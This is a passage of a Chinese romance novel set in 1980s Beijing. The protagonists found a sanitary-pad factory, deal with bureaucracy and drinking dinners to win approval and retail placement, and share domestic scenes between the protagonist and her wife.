陆霁早先就对她的想法有了大概的了解,知道她坚持在这方面开创的初衷,也认为这件事很有意义。 此外,别的不说,卫生巾产业所隐藏的市场也很大,不过需要的是时间而已。 更不要提两个人的关系本来就好,如果没有季白青和温淼的存在,没有她们想办法把陆延解决,又举报了陆有德,她现在是不可能这么顺利地就继承陆家的家产的。 虽然现在还有不少人对她的能力持质疑态度,企业的负责人变更后也有员工不愿意服从她,但陆霁自信她有让她们心悦诚服的能力。 所以无论是站在商人的角度上还是站在朋友的角度上,陆霁都会对季白青想做的事给予支持,反正陆家的家产是真的丰厚,季白青应该耗不完。 她认真将方案看完之后,提出来几个有问题的点。 “创立私人公司现在不太可能,得换个法子。” “列出来的卫生巾需要注意的问题并不全面,需要多去做调查,了解不同女性的需求。” “还有在目前,技术方面也存在一定问题,我不太了解,不过你可以问问你老师。” 最后陆霁道:“你想要研发和生产,资金我可以给你投资,我先给你五万,如果还不够的话再和我说。” 季白青目前倒是不太缺钱,她这些年存的钱也有五六万,不过可以加上陆霁的投资的话她倒也不嫌多。 当做是陆霁入股好了,以后真赚了钱再分给她。 按照她的预算,卫生巾投入生产之后,虽然前面一两年可能没有销路,她只要稳住不赔太多,随后等着卫生巾慢慢普及起来的后几年销路就可以打开了。 到时候肯定就能赚钱了。 而且季白青也制定了相应的宣传手法,在当下也能够一定程度上提高卫生巾销路。 但说得再多都只是纸上谈兵,现在最重要的便是卫生巾的研发和生产,她需要先做了再看现实情况到底怎么样。 她将陆霁所提出来的那些问题标注出来,打算之后再去找人多问问。 温淼在一边听着,出言提醒道:“我记得京市大学理科科研项目是能够申请科研经费的,你可以问问于景老师华清大学能不能申请。刚才听你们说到公司,现在还没有那么开放,不过待会儿可以去问问我们街道能不能挂靠集体企业。 季白青闻言,眼睛一亮,轻轻点头,脑子里有了大概的想法。 陆霁看着温淼,笑着道:“刚才还说留在这没有用呢,现在不是就为我们解决问题了。” 温淼不大好意思地笑了笑:“不过是刚好知道一点而已。” 她没在陆霁身边看到经常出现的那位姑娘,有些疑惑地问道:“怎么没看到李同志?” 陆霁一愣,表情微微有些不自然。 她道:“她有她的事,我也有我的事。” 季白青狐疑地看了她一眼,见她眉眼间似乎是藏着一点心事,便能猜到一两分,两个人的感情大概是出问题了。 也对,一开始李从瑾就是靠着李家的资产千方百计要困住陆霁,现在陆霁继承了陆家的财产,虽然不知道能不能比上李家,但是那也不少了,原本的诱饵现在对陆霁来说不成立了。 不过这也不是她该操心的事,两人的感情还是得陆霁自己来处理,几年都过去了,再纯情也该懂了吧。 季白青假装没看到,将方案收了起来,打算晚点的时候看看怎么再改进一番。 现在才下午两三点,外面热得很,屋里的的风扇正在呼呼地转着,但空气还是燥的。 正事已经说完了,季白青对陆霁道:“晚上留下来吃个晚饭,刚好尝尝陈姐的手艺。” “霁姐,你现在先去休息会儿,我去做碗凉粉。” 四合院并不缺房间,陆霁在她们家也有一个固定的房间。 闻言,陆霁按了按眉心,想着刚才的问题,只觉得头脑发胀,便没有拒绝。 她回了房间,温淼则是跟着她去了厨房给季白青打下手,季白青在做凉粉,她则是在一边用锅将红糖熬开。 看着红糖块在水里融开,温淼想了想开口道:“待会儿我们就一起去街道处问问,街道都是有扶持政策的,肯定比直接去租地方要便宜。” 刚才在屋子里的时候,有陆霁在,季白青忍住了没有亲温淼,此时又听她提这话,将人抱住在她的唇上亲了一口,看着她的眼睛含着笑:“老婆,你怎么这么好?” 季白青有时候真的觉得温淼什么都知道,在她有需要的时候就能够出来提点两句。 温淼的脸颊微红,轻声解释道:“其实我也不是完全不知道,因为你之前就和我说过这件事,我还去找过我们学校理科专业的老师问过这件事的可行性,很多知识都是老师告诉我的。” 偶尔没事,温淼也会翻看一些相关的资料。 听她这么说,季白青反而觉得越发受宠若惊。 她老婆怎么能这么好! 季白青又黏黏糊糊的在她脸上亲了两口,见人脸红的不像话了,这才去处理待会儿凉粉上要撒的配料。 在等待着凉粉冷却凝固的过程中,两个人去街道办事处将询问了一番,得知可以挂靠之后,便询问了各种申请所需要的材料,打算回去准备好之后过来提交申请。 除此之外,季白青还想要在华清大学附近租一处实验室,用来改进国际上现有的卫生巾配方,此外,生产设备也是需要提前对现有的设备进行改造。 前期的准备工作有很多,麻烦又繁琐,需要一点点去耐心地完成。 和温淼商量了一下,刚好这段时间温淼不需要去学校上课,也没有需要翻译的工作,每天的时间清闲,她便帮着去联系场地。 其它的事情交给季白青和陆霁。 当天留了陆霁吃过饭后,第二天季白青就立马去于景家找她了。 于景也刚放假没有多久,见到是季白青来了还有些惊讶。 “你这是来?” 季白青对她讨好一笑:“老师,我想了想,虽然毕业了,但我们还是师生,我还是有点舍不得你,所以现在来看看你。” 以前她对自己可不是这么说的,于景颇为无语地看了她一眼。 “那我可不想你,到底有什么事,直接说。” 季白青熟练地往沙发上一靠,将自己的来意道明:“我们学校可以申请科研经费吗?我不是还得创业,所以来问问。” 闻言,于景明了。 “这事我之前忘记了,本来打算过一段时间再去告诉你的,结果你先来问了。” “准备好申请资料和详细的科研介绍就行,你就写研发优化卫生巾及其生产链,被通过的可能性很大,如果能批的话,能有八千的经费。” 季白青点头,在心里琢磨着到时候怎么写。 忽然想起了什么,她再度开口道:“老师,我们没那么多经费从国外引进生产链,能麻烦你给机械系的老师的联系方式给我一份吗?我想找人帮忙改进现有的设备来用。” 于景闻言,去房间里翻了翻,将所存下的几个老师的电话号码和住址都给了她。 将一系列的事情问完之后,季白青坐在沙发上老神在在,也没有动。 见状,于景看着她幽幽道:“你还不走?” 季白青笑眯眯:“老师,我这不是怕你在家无聊,等陪你吃完饭再走。” 于景翻了个白眼:“想蹭饭就直说,还说的那么冠冕堂皇。” 话是这样说,但她面上的笑纹明显,显然是高兴的。 她女儿在这几年政策松动的时候就出国深造了,一年就回来一次,妻夫俩都没有个孩子陪在身边,有人来陪她们自然是高兴的。 “你怎么不带淼淼一起过来。“想起缺了点什么,于景嗔道。 季白青对她一笑:“今天有学生来家里找淼淼了,所以我只能一个人来了。” 说起这个,她还有些幽怨。 不过人家学生是个小姑娘,她也不能这么明晃晃地表现出来自己同她计较。 就只在自己内心偷偷计较。 陪着于景吃了一顿饭后,又和她聊了会儿天,季白青回了家。 到家的时候,温淼的学生已经走了。 季白青去书房找人,见她正低着头,走过去一看,原来是在帮忙修改申请,她将人抱住。 温淼知道来人是谁,没有抬眼看她,只是问道:“问清楚了?” 季白青点头:“到时候把方案简单改一下让老师帮我交上去就好了。” 她道:“老师还问我你怎么没跟着一起来呢。” 本来今天两个人商量好的一起去于景家。 温淼听出来她话里的酸意,抬头看着她有几分无奈:“我也没想到学生会突然找上门,我也不能把人赶走吧?” 季白青哼哼两声,往她腿上挤。 在女人的腿上坐稳之后,她在人脸上亲了一口。 “我就是觉得当你的学生可真好。” 可以随意霸占温淼的时间。 温淼多聪明一个人,自然听出来她的言外之意。 “你确定?我可不和学生谈恋爱。” 季白青捂着耳朵,不愿意听,开始胡言乱语: “如果蓁蓁是我的老师的话,那我的英语肯定很好,上课的时候一定听得更认真,下课之后,如果你把我叫到办公室的话,我会忍不住对你表白的。 到时候蓁蓁不答应我的话也没关系,我可以强吻你,顾忌着有学生在办公室外,你又不能出声,只能被我按着接吻了。不过你别担心,你是初吻我也是初吻,亲了你我也会负责的。” 温淼:“……” 不轻不重的一巴掌落在季白青的脸上,她听见女人淡淡的声音: “我看你是皮痒了。” 季白青蹭着温淼,恬不知耻道:“还有另外一边。” 温淼:“……季白青!” 看她红着一张娇俏的脸蛋,季白青嘿嘿一声,又在她脸上亲了两口,这才将腿伸直站了起来。 两个人一人一张桌子开始着手写着申请。 两天时间,将该有的申请和资料都填报好之后,季白青将几份不同的资料分别上交。 街道办事处的申请需要审核一两个月的时间,但季白青和陆霁都挺急的,陆霁便托了关系请街道办事处的两位主任出来吃了个饭。 这几年私人饭馆也兴起,为了彰显诚意,陆霁让留了间自家私房菜馆的包间。 私房菜馆命叫雅韵,店如其名,里面的装潢古色古香,在大厅处还摆了假山,清澈的水从假山下流下,池子里还有红色的鲤鱼,店内安静的时候可以听到流水潺潺的声音。 无论是设计还是菜品都有季白青的建议,景致雅致,是京市的头一份,此外,味道也不错,大厅内吃饭的价格也就比其它店面高了一点,不少家里有条件的人聚餐或是请客吃饭都会选择来这里吃饭,包间价格昂贵,却也是供不应求。 每个月雅韵都有不少创收。 街道办事处的两个主任是两个中年男人,一个长得圆润的叫徐润,一个带着眼镜有些斯文,叫穆斯。 将人带到了雅韵之后,进了屋里,徐主任和穆主任看着里面的景致有些惊艳。 徐主任笑眯眯道:“今天真是托了陆同志你们的福才有机会来这里吃饭。” 陆霁微微一笑,引着人往包间走。 包间里摆好了冷饮,门口有个盘亮条顺的男人守着。 等到*四人坐好之后,陆霁吩咐道:“小王,可以上菜了。” 看起来精致又美味的菜被一一摆上了桌,几乎将一张圆桌上都摆满,为了避嫌,门是大开的,不过屋外也不吵,房间里还氤氲着淡淡的香气。 穆斯和徐润对视一眼,穆斯温声道:“也不知道陆同志和季同志你们两个人找我们是有什么事。” 季白青总觉得他们不是多么好说话的人,闻言,轻拧着的眉头松开,笑着解释道:“前几天我们把挂靠街道企业的申请提交上去了,听说审核的时间还挺长,但是我们后续还需要注册企业,办理购买各种设备和证件,所以想要麻烦你们加急审核通过我们的申请。” 徐润一双窄眼狭长,笑起来几乎看不见眼珠,他笑道:“我们这都是按照流程来的,这是规矩。” 闻言,季白青在心里冷笑一声,要不是提前去问过相关的人,知道给钱送礼就能够让他们把审核时间提前,见他们这么正经的模样,她还真的就相信了。 她面上仍旧笑盈盈的,回道:“规矩是死的,人是活的,徐主任、穆主任,你们说呢?” 穆斯点头,嘴上却还是道:“规矩还是得守的,不然我们这位置可坐不久。” 他看着季白青和陆霁,面上也是温和的笑。 “陆同志和季同志,你们觉得呢?” 季白青在心里暗骂了一声笑面虎,将随身的包拉开,看了眼门口的小王,小王见状,立马将门关上,隔绝外面有可能的视线。 两沓钱分别被放在徐润和穆斯的身边,季白青说:“主任,规矩我们都懂,但还是要请你们帮帮忙。这些是辛苦费。” 徐润没有推拒,笑着转移话题:“有酒吗?今天这么好的菜可不能没有酒配着啊。” “小陆、小季,你们两个女同志应该都会喝酒吧?” 陆霁没说话,只是吩咐小王去拿了两瓶汾酒过来。 酒被打开,醇香的味道飘出来。 小王分别给四人斟酒。 端着酒杯,徐润举起,哈哈一笑:“今天见一面也不容易,来,我们碰一杯,感谢小陆和小季同志请我们吃饭。” 说完,他一口气将被子里的酒喝完。 他们两这样,陆霁和季白青自然也要喝完。 季白青很久没喝过这么高度数的酒了,酒液落在空荡荡的胃里,只感觉灼人。 她不动声色拧起眉,也知道今天少不了要多喝,便在小王倒酒的功夫连忙给自己和陆霁盛了汤喝,又吃了些东西垫垫肚子,腹腔内的灼烧感这才有所减缓。 季白青的猜想也没有错,在小王倒完了酒之后,穆斯又举起杯子道:“刚才是老徐敬你们,现在该到我来敬你们了,今天的菜真是丰盛啊,感谢!” 说着,他又是一杯酒下肚,面上微微泛着红。 季白青喝完之后,给陆霁夹了菜,又让小王给两个男人夹菜。 她道:“主任,多吃点菜,这些可都是店里的招牌,在外面吃不到的,就算是吃到了,味道也不一样。” 徐润哈哈一笑,夹了碗里的鸡肉尝了一口,“嗯,果然好吃,早就听说这里的饭菜好吃了,就是一直没有机会来尝尝。” 看着他再度举起的酒杯,季白青额角一跳。 她微笑道:“既然好吃,那您多吃点,少喝点酒,不然回去的话嫂子该说了吧。” 徐润摆了摆手,摆明了不肯放过她们:“没事,能和你们这么漂亮的女同志喝上几杯,就算是被她骂也值得了。” 陆霁的脸色难看了几分,看着他们问:“那我们的事……” 穆斯打断:“这件事自然是要看小陆和小季你们两个人的诚意。” 几人从七点钟开始吃饭,桌上的汾酒开了四瓶,全都进了几人的肚子里。 喝到最后,徐润举着一个空杯,还在喃喃:“干、干杯!” 穆斯也醉了,脸色酡红,躺在椅子上像是一滩烂泥。 季白青和陆霁的酒量还不错,此时眼神仍旧清明,可面色却不大好看。 将两个男人留在包厢,季白青和陆霁去找了店长,给两个人的家里分别打了电话让人来接。 店长给她们端了醒酒汤,让两人喝了一碗。 二十多分钟过去了,穆斯和徐润的媳妇来了。 见着二人,季白青勉强维持面上的微笑,对她们道:“嫂子,今天徐主任他们喝多了,桌上的钱是请他们帮忙给的,麻烦你们一起拿回去了。” 两个女人点头,揣上桌上的钱,就扶着自家男人往外走。 见人离开了,季白青有些担心地看着陆霁,小声问:“还好吗?” 陆霁点了点头,“还行。” 她们出了雅韵,正想着怎么回去,面前突然停下一辆轿车。 车窗缓缓落下,露出李从瑾那张与性格截然相反的甜软乖巧的脸。 她看向两人,简单开口:“上车。” 陆霁有些疑惑,喃喃发问:“她怎么来了……” 季白青估摸着她也有些醉了,将后座车门拉开,扶着人上了车。 李从瑾从后视镜里看了沉沉阖着眼的女人一眼,问:“今天怎么喝成这样?” 季白青看了眼陆霁,见她没有要回答的意思,便老实道:“想让街道办的人早点处理我们的企业挂靠申请。” 李从瑾一愣,脸色又难看了几分。 “我们街道办事处有个亲戚就是主任,你们大可以挂靠过来,没必要被为难喝这么多。” 季白青面色怔忪:“陆霁姐没有和我说过。” 她从哪知道这回事。 李从瑾一边开车,同时通过后视镜注意到原本阖着眼的人眼睫一颤,瞬间有些气恼道:“陆霁,你至于吗?!不就是我睡了你你就这么躲着我!” 闻言,季白青的心一颤,立马闭上了眼,假装自己什么都没听到。 陆霁脸颊一红,睁开眼瞪着她:“你不要胡说!” 李从瑾也知道自己刚才冲动了,语气缓和了一些。 “他们还不知道会不会答应,不要管他们了,季同志你把你们的申请写一份给我,我让亲戚帮你审核,我们街道的政策扶持力度更大,租金也要便宜点。” 季白青原本以为还要请徐润他们吃几顿饭才能将事办成,此时听了李从瑾的话后重重地松了一口气。 总算是不用喝酒了。 再喝几顿她得折寿。 李从瑾将季白青送到了家门口。 到家的时候已经接近十二点,季白青拿钥匙开了门,院子里黑乎乎一片。 温淼大概早就睡了。 回到屋里,季白青才后知后觉地感受到了一身的疲惫。 卧室的灯熄了,季白青没想到饭局会到这么晚,不想吵到温淼休息,便去侧卧拿了件衣服换洗。 原本就一身酒气,她没敢洗太久,出了澡间之后还感觉身上带着浓厚的酒气。 回房间睡觉还有可能会吵醒温淼,身上又熏,季白青随意擦了几把头发,最后疲惫地躺在床上很快睡着了。 温淼一直想着要等季白青回来,等着等着就睡了,但睡得不太安稳,等到再度醒来的时候,已经是半夜两点多了。 她往床的外侧摸了摸,最后摸了个空。 没有人。 一时间,零散的睡意消失,她坐起来将灯拉开。 卧室里的陈设和她睡前一样,没有丝毫变动。 季白青这个点了还没回家? 温淼一时间有些担心,穿鞋打开了卧室门,嗅到了一点酒味的时候还以为是自己闻错了,等着她往客厅走,酒气却越来越浓郁。 她看了眼被套在凳子角上的发圈,确定了这是季白青的没错。 季白青回来了,不在房间还能在哪? 温淼眉头拧起,试探性地打开了侧卧的门,立马就看到了在床上躺着的脸颊泛着红的女人。 她也不知道是怎么睡的,风扇不开,闷出了一身的汗,胸前的衬衫被汗湿,就连头发也湿漉漉的,一摸上去才明白是洗了没吹干。 房间里也带着酒气。 怎么喝了这么多? 她蹙着眉,抿起唇。 轻手轻脚地回了房间将吹风机拿了过来,将档位开到最小,慢慢替她将发丝吹干。 吹风机的声音不大,落在耳边轰轰的,身边还多了丝熟悉的甜香,原本季白青皱起的眉心慢慢舒展开来,在睡梦中也不自觉地往温淼的方向凑近,脸颊贴着温淼的腿。 温淼见状,摸了摸她的脸蛋,随后将最后一点湿润之处擦干。 这人的头发挺长了,到了腰,吹头发都要花一个小时时间,有时间应该去剪短一点了。 她将吹风机关上,动作缓缓地起身,给季白青摆了个更舒服的姿势。 看着对方睡得又不太安稳,也没想着让她继续睡下去,出门用热水壶烧了水,等到水变得温热,挖了点蜂蜜进去搅开,尝着味道不算太甜,这才端着杯子再度进到侧卧内。 将灯一打开,才发现原来屋内的人不知道什么时候醒来了,手撑着床坐在床边也不知道在想着什么。 温淼走进,和她对视上,将自己手里的杯子递给她,命令道:“喝掉。” 她脸上没有什么情绪,声音也平平淡淡没有起伏。 不知道为什么,季白青见她这样莫名其妙有些心虚,也没看她手里的是什么,接过后捧着慢慢喝。 尝到了舌尖那抹淡淡的甜意,她这才知道原来是蜂蜜水。 喝了小半杯,季白青抬头觑着对面坐着的温淼的脸色。 还是看不出来什么。 她小心翼翼地开口询问:“怎么大半夜突然醒了?” 现在也就三四点,她刚才看了眼手表。 温淼没回答她的话,只是问:“昨天晚上几点回来的?” “……十二点左右吧。” 女人眉头皱起的模样也漂亮,就是让季白青有点不安。 她主动解释:“因为吃饭被耽误了,原本也没想到会这么晚。” “嗯,”温淼点头,“喝了多少?” 季白青算着分量,按理来说四瓶汾酒应该是每人一瓶的,可是徐润和穆斯那俩神经病后来一个劲劝她们喝,还拿着审核的事作威胁,她和陆霁喝了一瓶还要多。 一想到这个,季白青就生气。 明天醒来就去政府举报这两人。 她咳了一声,觉得还是应该往少了说:“一瓶。” 温淼也没问是什么酒,只是心有些闷疼,坐回季白青身边,问她:“头疼吗?” 季白青如实道:“还有点。” “你先把水喝了。” 见她喝完之后,温淼伸出纤细白皙的手指给她按着头上的穴位。 按了半个小时,让季白青去上了厕所,她又给人灌了半杯蜂蜜水这让季白青跟着自己回主卧睡觉。 听了她的话季白青却一时间有些犹豫,她低头嗅了嗅自己的颈侧,总感觉还带了酒味。 她问:“要不我们还是分房睡吧?我身上味道不好闻。” 温淼鼻尖耸动,只闻到一丝浅淡的味道。 她淡淡看向季白青:“你要和我分房睡?” 季白青瞬间怂了:“没,不是那意思,我就是怕咱们的床被我熏臭了。” 温淼:“……不臭,很好闻。” 不是指季白青身上的酒气,而是说她身上自带的清爽味道。 季白青怕老婆,不敢多说什么,老老实实跟着她往主卧走。 躺上了熟悉的柔软的床,闻到上面的香味,季白青瞬间觉得很幸福,蹭了蹭枕头,抱着温淼,突然又开始腻腻歪歪。 在她脸颊上亲了两口,她软声道:“老婆,好爱你。” 温淼将她的脸推开:“别闹,好好睡觉。” 回来这么晚,又睡那么一会儿就醒了,温淼真怕她出什么问题。 季白青应下,在人的身上再蹭蹭,随后闭上眼睛。 这次睡得比刚才要舒服多了。 再次醒来的时候已经是十点多,屋子里的窗帘拉上,屋子里显得昏暗,倒是很适合睡觉。 季白青还有些茫然,手往身边一捞,捞了个空。 这才慢吞吞地坐了起来,捂着嘴打了个哈欠。 头还有些痛,但没有了在二十一世纪宿醉后的难受之感。 她发了会儿呆,出了房间的时候,一眼见到了温淼。 温淼穿着一条紫色的碎花长裙背对她,系带在背后松松打了个结,勾勒出一截窄腰,光是看背影就觉得是个温柔美人。 季白青悄然走上前,从身后将人抱住。 手上突然多出一双手,知道是谁,温淼的手还是很稳,看着黄色的蜂蜜在水里化开后,拍了拍人的手掌。 “行了,去洗漱,洗漱完来喝点蜂蜜水。” 季白青看着她温柔的侧脸,有点想亲,可还没洗漱,只能先去洗漱。 洗漱回来之后,将蜂蜜水喝了,她再缓缓与温淼接了个甜味的吻。 然后心满意足地坐在桌前吃早饭。 陈晴早上做的蔬菜粥,还在锅里温着。 吃了早饭之后,季白青又重新写了一份申请,将资料整合好之后下午就去找了李从瑾,和她一起去她们街道办事处找人。 这回审核很快,不过是三天时间,季白青就收到了审核通过的消息。 她和陆霁作为主要负责人,在通过那天,一起去了李从瑾那边的街道办事处,由李从瑾带着,将相关的协议和合同看了一遍,确认没什么问题之后两人才签了字。 在这之后就有一系列的事情需要处理,需要办理工商登记、开立银行账户,还得刻制公章并在规定时间内向京市登记备案管理机关办理登记备案手续。 一切审批都通过后,街道处给她们批了一处两百多平的现有厂房,不过已经有些年头,还需要修缮一番。 陆霁和季白青商量了一番,两人一个负责厂房的修缮,一个负责实验室的研发。 实验室的场地早就租好了,华清大学的科研项目经费也发了下来,这段时间季白青忙着申请书的事,也没有去盯进度。 不过实验室里的设备都齐全,程书意在这实习,有她帮忙盯着,于景也偶尔会去看一眼。 其实现在研发也并不算是从零开始,读研的一年半实践,季白青也和志同道合的朋友一起聊过卫生巾研发的事,她们组建过一个小型的实验室,将外国引进的卫生巾拆开又重新组合后,花了八|九个月的时间,用现有的材料按照国外的卫生巾进行组装,最后出来的效果还不错,不过没有护翼,吸水性不是特别好。 现在唯一的难点就是需要替换先前的材料,增强吸水性的同时能够维持成本。 制作卫生巾所需要的生产设备在询问了机械系的老师之后,季白青又让老师给她推荐了几个机械专业的同学和老师帮忙改造,将现有的设备改造成适合生产卫生巾的设备。 一个月后,实验室研制出比以前更为吸水的卫生巾,在棉纤维和绒毛浆里混合了部分进口的高分子吸水树脂,最底层的防渗漏材料为聚乙烯。 高分子吸水树脂在国内的普及率并不高,只能依赖进口,所以成本比较高。 在研发结果出来之后,工厂已经修缮好,各种消毒和生产包装设备都已经准备好了。 实验室那边季白青也没有结束,而是将研发方向转为了高分子吸水树脂的研发,此外通过于景联系了机械系的老师人,让老师帮忙介绍了机械设计的工程师,开了另外一个实验室进行高分子吸水树脂制作所需要的设备的研发。 厂里一共招收了三十个女工,在进行培训之后,卫生巾开始正式投入生产。 工厂名字就叫保洁卫生巾厂,生产出来的卫生巾品牌名就是保洁。 第一批的卫生巾生产出来的时候,季白青手上的钱就被嚯嚯了一大半。 不过她也不大焦虑,毕竟实在不行的话还有陆霁,再不行的话她就回去啃老婆了。 现在唯一的困境就是卫生巾是做出来了,但做出来的第一批卫生巾只有一千盒,在此之后就停工了,需要等着先看看销路如何。 她们所生产的一盒卫生巾有十六片,含高分子吸水树脂的成本大概在六毛四分,吸水性更强,适合量多的时候用,售价便定在七毛钱一盒。 不含高分子吸水树脂的适合量少的时候用,成本三毛二分,售价三毛五。 这价格在八十年代并不实惠,相反能算很贵,但是成本价就这么高,只能先定下这个价格,等到之后成本被降低之后再降价。 盒子上印着卫生巾的使用方法,让人一眼看过去即使没用过也能明了。 季白青这段时间忙着推广卫生巾。 她将第一批拿出来一百盒拆开,分别给医护人员和工厂的女工,就等着她们的反馈,如果觉得好用之后可以来购买。 此外,季白青也在想办法让百货商店采购,摆在大商场之后被看到的可能性才更大,但联系了几个商店,几乎都被拒绝。 她整天早出晚归的,和温淼相处的时间都少了,但也不能把现状告诉她。 总觉得有些丢脸。 多次推广没有用之后,季白青花钱主动联系了报社,又在温如嫣的协助下联系到了京市医院的妇科主任,两人联合和报社记者一起做了一次采访。 季白青在采访中的作用是将卫生巾的制作流程和方便之处说清楚,妇科主任则是证实了卫生巾的卫生和便捷,在采访结束之后,季白青又给妇科主任和记者各一盒卫生巾,让她们回去试试效果,如果不错的话向亲戚朋友推荐推荐。 过了几天,这则采访被印上了报纸之后,在京市内引起了一场小范围的波澜。 部分人知道了卫生巾的存在,也有人看着卫生便捷两个优点,动了想要买的心思。 可虽然卫生巾能去工厂直接购买,但不少人都找不到位置,要么就是太远,不少人只能作罢。 还有人觉得贵,心动也只能忍着。 倒是家庭情况好一些的离着保洁卫生巾工厂又近的家庭去买了几盒,不过算着总量,也就卖出去五十盒不到。 卫生巾经过了妇联的推广,又联合妇科主任让记者采访登报,宣传所得出来的效果却和季白青所想的不太一样。 她总结了其中的经验,最后将部分希望寄于百货大楼之上。 季白青先前向王府井百货大楼提交的产品申请也一直没被通过,便只能靠着关系私下约了采购部的主任吃饭。 先前季白青和温淼经常会去京市各个百货大楼买东西,去的次数多,又靠着一个漂亮老婆,季白青也能够成功被很多人记住。 张芙蓉便是王府井大楼的采购主任,季白青提前在柜台打听过她的喜好,在听到别人说她喜欢喝酒还酒量好的时候心里咯噔一下。 这段时间真的喝太多了,而且每次都还办不成事,她一时间觉得难办。 但到了最后还是硬着头皮请她吃了饭。 位置照样是定在雅韵,季白青在门口看到她之后带她上楼。 张芙蓉今天穿了一身宽松的旗袍,身上喷了点花露水,味道并不浓,清清淡淡的挺好闻的。 进了饭馆,张芙蓉往四处看看,不住地点头。 “这地方还不错。” “价格不会很贵吧?贵的话咱们就换个地方吃。” 季白青摇了摇头,心里倒是觉得熨帖了一些。 起码张芙蓉目前看起来是个正常人。 她道:“放心吧芙蓉姐,不贵,你放心吃就好了,这里的酱肘子、烧鸭、炒牛肚几个招牌菜可是一绝,你可千万要尝尝。” 张芙蓉闻言放了心。 坐下之后,她们点的菜陆续上齐。 季白青让人准备了一壶高粱白上来。 她打探到的消息果然没错,张芙蓉嗜酒。 见到了酒之后,女人的眼睛放光,见状,季白青主动给她倒了杯酒。 见对方喝了一小口后,季白青给她盛汤夹菜。 “张主任,你先喝点汤,再吃点菜垫垫肚子,不然待会儿喝酒会难受。” 张芙蓉笑眯眯地点了点头,夸她道:“你可真贴心,你老婆有福气了。” 她想了想,又改了口:“不能这么说,你老婆也那么漂亮,性格还好。” 季白青有些不好意思地笑了笑。 见她将自己夹的菜吃完后,心情看起来似乎不错,季白青又给她夹了点。 张芙蓉又吃了点就放下了筷子。 她看着季白青,正色了几分问道:“同志啊,你找我是有什么事,现在先直说,我得看看我能不能办到。” 季白青听她这么说,也没有遮掩,将卫生巾的检测报告和说明介绍都给了她,还带了一盒卫生巾的样品。 她解释道:“张主任,这是我们工厂生产的卫生巾,材质都是经过了高温消毒的,生产也是无菌环境,绝对干净卫生,您也是女人,平时来生理期的时候用月经带肯定也有些不方便,这个就比月经带好用,您可以先回去试试怎么样。” “我前段时间把产品介绍送了上去,但是一直没有得到回复的消息,所以这不是主动来找了你。” 闻言,张芙蓉原本还笑眯眯的脸瞬间变得有些为难。 她皱着一张脸:“小季同志啊,我不是不想采购你的产品,只是我担心这采购之后没有人购买,这样货品积压的话我是要承担责任的。” “你这个卫生巾是什么东西我以前也听都没听过,多少钱一盒?” 季白青抿唇,“工厂价是三毛五和七毛。” 闻言,张芙蓉咂舌,瞬间摆了摆手。 “算了算了,这么贵,这肯定卖不出去。” “这顿饭多少钱,我替你一起付了,我还有事,得先走了……” 说着,她就站了起来要离开。 见状,季白青也连忙站起来拉住了她,看了看桌上的酒咬牙道:“姐,先别走啊,今天我特意来和你喝几杯的,你先听我说完再走也不迟啊。” 说着,她就端起她面前的酒杯,又把张芙蓉的杯子塞在她手里,和她碰杯。 “姐,我们姐妹两个在这里碰面也不容易,你再给我机会介绍介绍呗。” 说着,她眉头也不皱地喝完了手上的酒。 见状,张芙蓉看得一愣一愣的,开口道:“你要是酒量不好的话还是别喝了,这酒度数挺高。” 季白青见她没有了想走的意思,松了一口气,摇了摇头。 “没事姐,我的酒量好着呢。” 见张芙蓉将手中的酒喝完了,她又给两人倒上。 “姐,你尝尝这个小鸡炖蘑菇,鸡肉很鲜。” 趁着人吃东西的功夫,她再次介绍道: “虽然月经带便宜,还可以经常使用,但这存在很大的卫生隐患,为了安全着想,买卫生巾其实也是很有必要的,我们的卫生巾都经过了高温消毒和紫外线消毒,安全又卫生,除了是一次性的,其它的都比月经带好用,姐你回去用用就知道了。” 张芙蓉还没来得及说话,季白青对她举起酒杯,嘴甜道:“姐,今天你愿意来听我说这些话我都太感动了,之前约了几个男的采购主任,都是听我一提起要卖卫生巾他们就走了,这些事可不得和你这种懂我们女人事的人说。” 闻言,张芙蓉脸上多了几分犹豫。 季白青所说的话确实没错,她喝了口酒,心里还是有些忧虑:“可小季妹妹,不是我不想给你机会,是如果卖不出去,或者这出了什么问题的话,我被老板骂就不说什么了,饭碗也可能不保……” 季白青再度为她倒酒,忍着胃里的灼痛,朗声道:“放心吧姐,我们这都是经过了一道道程序检验的,绝对不会出问题,出问题您尽管找我就行!” “用月经带的话,妇科病的出现概率更大。” “我们这都是为了广大妇女同志的健康着想,如果连王府井百货大楼都没有卫生巾卖,我真的是不知道该摆在哪里了。” 张芙蓉的面容逐渐松动,她看了眼季白青,欲言又止道:“可我……” “姐,你就放心,推广卫生巾是为了保障妇女的健康,这是积德行善的好事,绝对不会发生你所说的那些的,而且卫生巾送去了妇联,妇联都说好呢!还上过报纸。” 说着,季白青将报纸拿了出来给张芙蓉看。 看着上面的内容,张芙蓉看了一眼,正斟酌着其中利害。 季白青又和她碰杯:“姐,我现在就只能靠着你了,你给我通融通融吧,你想想,有了你的允许,往后你的女儿也能够用上卫生巾呢,像你女儿一样的姑娘们有条件也能用上更好的东西。” 她知道张芙蓉有个七八岁大的女儿,平时宠得很,跟个宝贝疙瘩似的。 听到了这话,张芙蓉眼睛一闭,咬牙道:“行,你们的申请我给你们递上去,到时候同不同意就不是我的事了。” 不过这话也就说出来骗骗外行人,一般她交上去的申请还没有不通过的。 说完后,张芙蓉了了一身重担,看着季白青越来越喜欢,给她倒酒道:“小季妹妹啊,姐知道你这是做的好事,不过姐有时候也身不由己,刚才拒绝你你可别怪我啊。” “来,陪姐再喝一杯。” 张芙蓉答应给她办事,季白青也不好再拒绝,两人一边说话,一边吃饭喝酒,一直到十一点多才停下。 张芙蓉的酒量是真的好。 要回去的时候,季白青眼里已经有了几分醉意,一看张芙蓉,还双眸明亮,看不出来一点不清醒。 季白青站起身来,刚要出去,差点被门槛绊了一跤。 张芙蓉见状,连忙将人扶住,两人挨在一起。 扶着季白青去了前台,张芙蓉问:“楼上888包间今晚是多少钱?” 前台看了眼季白青,微笑道:“同志,已经结过账了。” 闻言,张芙蓉只好把季白青往外扶。 她骑了自行车出来的,问了季白青家住哪之后把她送到了门口。 离开前她问到:“要不要姐扶你进去?” 季白青摇了摇头,被冷风吹得脑子短暂清醒了几分。 她道:“不用,谢谢姐,我自己进去就行。” “今天的事还得多麻烦你了。” 见着人开门进去,张芙蓉才离开。 季白青进了屋,锁上了门后,意识再度昏沉下来。 她靠着门站了好一会儿,这才缓过来,慢吞吞地往屋里走。 客厅开着一盏台灯,她盯着看了看,下意识走到了主卧前,随后顿住,小狗一样耸着鼻子,嗅着自己身上的味道。 